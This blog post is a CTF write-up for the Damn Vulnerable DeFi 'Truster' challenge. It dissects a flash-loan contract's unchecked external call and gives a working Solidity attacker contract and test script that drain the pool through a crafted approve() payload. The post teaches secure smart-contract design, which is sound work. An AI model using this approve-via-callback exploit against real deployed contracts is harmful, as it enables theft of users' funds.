Welcome back! This is the third blog post from my Damn Vulnerable DeFi series. In this one, I would walk you through the process of hacking the Truster challenge.

Goal

In this challenge, we have a pool with 1 million DVT tokens. It provides flash loans for free!

Our goal here is to hack the pool and drain all its DVT tokens. We start 0 DVTs.

Rundown

In this challenge we only have one contract - TrusterLenderPool. Let’s go through its implementation.

The contract constructor takes a single parameter - the DamnValuableToken. This is the token the pool offers flash loans for:

DamnValuableToken public immutable token;
// ...
constructor(DamnValuableToken _token) {
  token = _token;
}

Apart from the constructor, the contract has only 1 function - flashLoan(). Let’s take a look at it:

function flashLoan(uint256 amount, address borrower,
                   address target, bytes calldata data)
  external
  nonReentrant
  returns (bool)
{
  uint256 balanceBefore = token.balanceOf(address(this));

  token.transfer(borrower, amount);
  target.functionCall(data);

  if (token.balanceOf(address(this)) < balanceBefore)
    revert RepayFailed();

 return true;
}

The function consists of 4 parameters:

  • amount (type: uint256) - the loan amount in terms of DVT tokens.
  • borrower (type: address) - the address to which the tokens will be lent.
  • target (type: address) - the address that will receive the callback. Notably, unlike ERC-3156, the callback can be made to an address other than the borrower, which presents an interesting approach.
  • data (type: bytes calldata) - specifies call data to be used for an external low-level call to the target address (similarly to the ERC-3156 standard)

We notice that the flashLoan() function also uses the nonReentrant modifier. This modifier comes from OpenZeppelin’s ReentrancyGuard contract module which provides gas-efficient reentrancy protection.

A snapshot of the pool balance is taken at the very beginning of the function:

uint256 balanceBefore = token.balanceOf(address(this));

We’ve already seen this pattern in the NaiveReceiverLenderPool implementation in the previous challenge. It is used later on to check that all lent funds are paid back in full.

Next, the requested amount of DVT tokens are transferred to the borrower:

token.transfer(borrower, amount);

To execute a callback to the target address, the OpenZeppelin’s functionCall() is employed instead of Solidity’s native call() function. functionCall() is a secure alternative to Solidity’s call() which reverts if the external call is unsuccessful (call() returns false):

target.functionCall(data);

Finally, a check ensures full repayment of loaned tokens. Failure to do so triggers a revert with a RepayFailed() error:

if (token.balanceOf(address(this)) < balanceBefore)
  revert RepayFailed();

Solution

Initially, I explored the possibility of a reentrancy attack on the flashLoan() function. However, this was not feasible due to the protective nonReentrant modifier and the lack of access to the _status state variable in ReentrancyGuard.

Next, I attempted to disrupt the balance check invariant (token.balanceOf(address(this)) < balanceBefore) at the end of flashLoan(), but I found no viable approach.

What caught my attention was the separation of the callback parameters target and borrower in the flashLoan() function. Instead of using a strict callback contract interface, the lender implementation employed functionCall() to enable arbitrary external calls. This led me to consider constructing the data byte array to invoke DamnValuableToken.transfer() and send all DVT tokens to a malicious recipient. Unfortunately, this approach would fail due to the balance check invariant.

To execute this attack, a simple smart contract like the following would suffice:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./TrusterLenderPool.sol";

contract TrusterAttacker {
  uint256 public constant VICTIM_BALANCE = 1_000_000 ether;

  function attack(
      DamnValuableToken token,
      TrusterLenderPool pool,
      address player)
    external
  {
    bytes memory maliciousPayload = abi
      .encodeWithSignature("approve(address,uint256)", address(this),
                           VICTIM_BALANCE);
        
    pool.flashLoan(0, address(this), address(token), maliciousPayload);
    token.transferFrom(address(pool), address(player), VICTIM_BALANCE);
  }
}

Here’s what we’re going to do:

  • Create a malicious payload for functionCall() that calls DamnVulnerable.approve(address(trusterAttacker), VICTIM_BALANCE).
  • Request a flash loan of 0 DVT tokens. By doing this, we can drain all the funds from the pool without needing to return any funds, which aligns with our challenge goal. This action will also trigger the execution of approve() with our malicious payload.
  • Transfer all the funds from the pool to the player’s address.

To carry out the attack, we’ll write our solution in truster.challenge.js as follows:

it('Execution', async function () {
  let attackerFactory = await ethers
    .getContractFactory('TrusterAttacker', player);
  let attacker = await attackerFactory.deploy();
  attacker.attack(token.address, pool.address, player.address);
});

To verify our solution, we execute:

$ yarn run truster

That’s it! We’ve solved the challenge ;)

You may find the full solution on GitHub here.

Outro

In this challenge, we’ve learned the crucial importance of securing all external low-level calls. Failing to do so exposes vulnerabilities that enable hackers to execute arbitrary code on behalf of our smart contract. Clearly, such a situation could have severe and damaging consequences for our dApp.

May you have any feedback on this CTF write-up (or the series as a whole), please reach out to me on Twitter or Discord.